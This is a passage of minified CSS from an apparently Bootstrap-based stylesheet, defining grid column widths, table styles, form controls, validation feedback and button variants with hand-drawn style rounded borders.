50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table th,.table td{padding:0.75rem;vertical-align:top;border-top:1px solid #333}.table thead th{vertical-align:bottom;border-bottom:2px solid #333}.table tbody+tbody{border-top:2px solid #333}.table .table{background-color:#fff}.table-sm th,.table-sm td{padding:0.3rem}.table-bordered{border:1px solid #333}.table-bordered th,.table-bordered td{border:1px solid #333}.table-bordered thead th,.table-bordered thead td{border-bottom-width:2px}.table-striped tbody tr:nth-of-type(odd){background-color:#ccc}.table-hover tbody tr:hover{background-color:#fff}.table-primary,.table-primary>th,.table-primary>td{background-color:#c6c6c6}.table-hover .table-primary:hover{background-color:#b9b9b9}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#b9b9b9}.table-secondary,.table-secondary>th,.table-secondary>td{background-color:#cfcfcf}.table-hover .table-secondary:hover{background-color:#c2c2c2}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c2c2c2}.table-success,.table-success>th,.table-success>td{background-color:#c3e6cb}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>th,.table-info>td{background-color:#bee5eb}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>th,.table-warning>td{background-color:#ffeeba}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>th,.table-danger>td{background-color:#f5c6cb}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>th,.table-light>td{background-color:white}.table-hover .table-light:hover{background-color:#f2f2f2}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#f2f2f2}.table-dark,.table-dark>th,.table-dark>td{background-color:#cfcfcf}.table-hover .table-dark:hover{background-color:#c2c2c2}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#c2c2c2}.table-active,.table-active>th,.table-active>td{background-color:#fff}.table-hover .table-active:hover{background-color:#f2f2f2}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:#f2f2f2}.table .thead-dark th{color:#fff;background-color:#212529;border-color:#32383e}.table .thead-light th{color:#555;background-color:#f7f7f9;border-color:#333}.table-dark{color:#fff;background-color:#212529}.table-dark th,.table-dark td,.table-dark thead th{border-color:#32383e}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}@media (max-width: 575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width: 767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width: 991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width: 1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;color:#555;background-color:#fff;background-clip:padding-box;border:2px solid #333;border-radius:255px 25px 225px 25px/25px 225px 25px 255px;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#555;background-color:#fff;border-color:#333;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25)}.form-control::-webkit-input-placeholder{color:#868e96;opacity:1}.form-control:-ms-input-placeholder{color:#868e96;opacity:1}.form-control::-ms-input-placeholder{color:#868e96;opacity:1}.form-control::placeholder{color:#868e96;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#f7f7f9;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 4px)}select.form-control:focus::-ms-value{color:#555;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 2px);padding-bottom:calc(0.375rem + 2px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 2px);padding-bottom:calc(0.5rem + 2px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 2px);padding-bottom:calc(0.25rem + 2px);font-size:0.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;background-color:transparent;border:solid transparent;border-width:2px 0}.form-control-plaintext.form-control-sm,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.form-control-plaintext.form-control-lg,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.btn{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-prepend>.input-group-text,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-append>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}select.form-control-sm:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(1.8125rem + 4px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-prepend>.input-group-text,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-append>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:555px 25px 15px 25px/25px 5px 35px 555px}select.form-control-lg:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(2.875rem + 4px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*="col-"]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled ~ .form-check-label{color:#868e96}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(40,167,69,0.8);border-radius:.2rem}.was-validated .form-control:valid,.form-control.is-valid,.was-validated .custom-select:valid,.custom-select.is-valid{border-color:#28a745}.was-validated .form-control:valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.custom-select.is-valid:focus{border-color:#28a745;-webkit-box-shadow:0 0 0 0.2rem rgba(40,167,69,0.25);box-shadow:0 0 0 0.2rem rgba(40,167,69,0.25)}.was-validated .form-control:valid ~ .valid-feedback,.was-validated .form-control:valid ~ .valid-tooltip,.form-control.is-valid ~ .valid-feedback,.form-control.is-valid ~ .valid-tooltip,.was-validated .custom-select:valid ~ .valid-feedback,.was-validated .custom-select:valid ~ .valid-tooltip,.custom-select.is-valid ~ .valid-feedback,.custom-select.is-valid ~ .valid-tooltip{display:block}.was-validated .form-check-input:valid ~ .form-check-label,.form-check-input.is-valid ~ .form-check-label{color:#28a745}.was-validated .form-check-input:valid ~ .valid-feedback,.was-validated .form-check-input:valid ~ .valid-tooltip,.form-check-input.is-valid ~ .valid-feedback,.form-check-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid ~ .custom-control-label,.custom-control-input.is-valid ~ .custom-control-label{color:#28a745}.was-validated .custom-control-input:valid ~ .custom-control-label::before,.custom-control-input.is-valid ~ .custom-control-label::before{background-color:#71dd8a}.was-validated .custom-control-input:valid ~ .valid-feedback,.was-validated .custom-control-input:valid ~ .valid-tooltip,.custom-control-input.is-valid ~ .valid-feedback,.custom-control-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before,.custom-control-input.is-valid:checked ~ .custom-control-label::before{background-color:#34ce57}.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before,.custom-control-input.is-valid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(40,167,69,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(40,167,69,0.25)}.was-validated .custom-file-input:valid ~ .custom-file-label,.custom-file-input.is-valid ~ .custom-file-label{border-color:#28a745}.was-validated .custom-file-input:valid ~ .custom-file-label::before,.custom-file-input.is-valid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:valid ~ .valid-feedback,.was-validated .custom-file-input:valid ~ .valid-tooltip,.custom-file-input.is-valid ~ .valid-feedback,.custom-file-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-file-input:valid:focus ~ .custom-file-label,.custom-file-input.is-valid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(40,167,69,0.25);box-shadow:0 0 0 0.2rem rgba(40,167,69,0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(220,53,69,0.8);border-radius:.2rem}.was-validated .form-control:invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.custom-select.is-invalid{border-color:#dc3545}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.custom-select.is-invalid:focus{border-color:#dc3545;-webkit-box-shadow:0 0 0 0.2rem rgba(220,53,69,0.25);box-shadow:0 0 0 0.2rem rgba(220,53,69,0.25)}.was-validated .form-control:invalid ~ .invalid-feedback,.was-validated .form-control:invalid ~ .invalid-tooltip,.form-control.is-invalid ~ .invalid-feedback,.form-control.is-invalid ~ .invalid-tooltip,.was-validated .custom-select:invalid ~ .invalid-feedback,.was-validated .custom-select:invalid ~ .invalid-tooltip,.custom-select.is-invalid ~ .invalid-feedback,.custom-select.is-invalid ~ .invalid-tooltip{display:block}.was-validated .form-check-input:invalid ~ .form-check-label,.form-check-input.is-invalid ~ .form-check-label{color:#dc3545}.was-validated .form-check-input:invalid ~ .invalid-feedback,.was-validated .form-check-input:invalid ~ .invalid-tooltip,.form-check-input.is-invalid ~ .invalid-feedback,.form-check-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid ~ .custom-control-label,.custom-control-input.is-invalid ~ .custom-control-label{color:#dc3545}.was-validated .custom-control-input:invalid ~ .custom-control-label::before,.custom-control-input.is-invalid ~ .custom-control-label::before{background-color:#efa2a9}.was-validated .custom-control-input:invalid ~ .invalid-feedback,.was-validated .custom-control-input:invalid ~ .invalid-tooltip,.custom-control-input.is-invalid ~ .invalid-feedback,.custom-control-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before,.custom-control-input.is-invalid:checked ~ .custom-control-label::before{background-color:#e4606d}.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before,.custom-control-input.is-invalid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(220,53,69,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(220,53,69,0.25)}.was-validated .custom-file-input:invalid ~ .custom-file-label,.custom-file-input.is-invalid ~ .custom-file-label{border-color:#dc3545}.was-validated .custom-file-input:invalid ~ .custom-file-label::before,.custom-file-input.is-invalid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:invalid ~ .invalid-feedback,.was-validated .custom-file-input:invalid ~ .invalid-tooltip,.custom-file-input.is-invalid ~ .invalid-feedback,.custom-file-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-file-input:invalid:focus ~ .custom-file-label,.custom-file-input.is-invalid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(220,53,69,0.25);box-shadow:0 0 0 0.2rem rgba(220,53,69,0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width: 576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:2px solid transparent;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;border-radius:255px 25px 225px 25px/25px 225px 25px 255px;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.btn:hover,.btn:focus{text-decoration:none}.btn:focus,.btn.focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25)}.btn.disabled,.btn:disabled{opacity:0.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled):active,.btn:not(:disabled):not(.disabled).active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#333;border-color:#333}.btn-primary:hover{color:#fff;background-color:#202020;border-color:#1a1919}.btn-primary:focus,.btn-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#333;border-color:#333}.btn-primary:not(:disabled):not(.disabled):active,.btn-primary:not(:disabled):not(.disabled).active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#1a1919;border-color:#131313}.btn-primary:not(:disabled):not(.disabled):active:focus,.btn-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5)}.btn-secondary{color:#fff;background-color:#555;border-color:#555}.btn-secondary:hover{color:#fff;background-color:#424242;border-color:#3c3b3b}.btn-secondary:focus,.btn-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#555;border-color:#555}.btn-secondary:not(:disabled):not(.disabled):active,.btn-secondary:not(:disabled):not(.disabled).active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#3c3b3b;border-color:#353535}.btn-secondary:not(:disabled):not(.disabled):active:focus,.btn-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success:focus,.btn-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5);box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled):active,.btn-success:not(:disabled):not(.disabled).active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5);box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info:focus,.btn-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled):active,.btn-info:not(:disabled):not(.disabled).active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled):active:focus,.btn-info:not(:disabled):not(.disabled).active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning:focus,.btn-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5);box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled):active,.btn-warning:not(:disabled):not(.disabled).active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled):active:focus,.btn-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5);box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger:focus,.btn-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5);box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled):active,.btn-danger:not(:disabled):not(.disabled).active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled):active:focus,.btn-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5);box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5)}.btn-light{color:#212529;background-color:#fff;border-color:#fff}.btn-light:hover{color:#212529;background-color:#ececec;border-color:#e6e5e5}.btn-light:focus,.btn-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5);box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#fff;border-color:#fff}.btn-light:not(:disabled):not(.disabled):active,.btn-light:not(:disabled):not(.disabled).active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#e6e5e5;border-color:#dfdfdf}.btn-light:not(:disabled):not(.disabled):active:focus,.btn-light:not(:disabled):not(.disabled).active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5);box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5)}.btn-dark{color:#fff;background-color:#555;border-color:#555}.btn-dark:hover{color:#fff;background-color:#424242;border-color:#3c3b3b}.btn-dark:focus,.btn-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#555;border-color:#555}.btn-dark:not(:disabled):not(.disabled):active,.btn-dark:not(:disabled):not(.disabled).active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#3c3b3b;border-color:#353535}.btn-dark:not(:disabled):not(.disabled):active:focus,.btn-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-outline-primary{color:#333;background-color:transparent;background-image:none;border-color:#333}.btn-outline-primary:hover{color:#fff;background-color:#333;border-color:#333}.btn-outline-primary:focus,.btn-outline-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#333;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled):active,.btn-outline-primary:not(:disabled):not(.disabled).active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#333;border-color:#333}.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.5)}.btn-outline-secondary{color:#555;background-color:transparent;background-image:none;border-color:#555}.btn-outline-secondary:hover{color:#fff;background-color:#555;border-color:#555}.btn-outline-secondary:focus,.btn-outline-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#555;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled):active,.btn-outline-secondary:not(:disabled):not(.disabled).active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#555;border-color:#555}.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-outline-success{color:#28a745;background-color:transparent;background-image:none;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:focus,.btn-outline-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5);box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled):active,.btn-outline-success:not(:disabled):not(.disabled).active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled):active:focus,.btn-outline-success:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5);box-shadow:0 0 0 0.2rem rgba(40,167,69,0.5)}.btn-outline-info{color:#17a2b8;background-color:transparent;background-image:none;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:focus,.btn-outline-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem 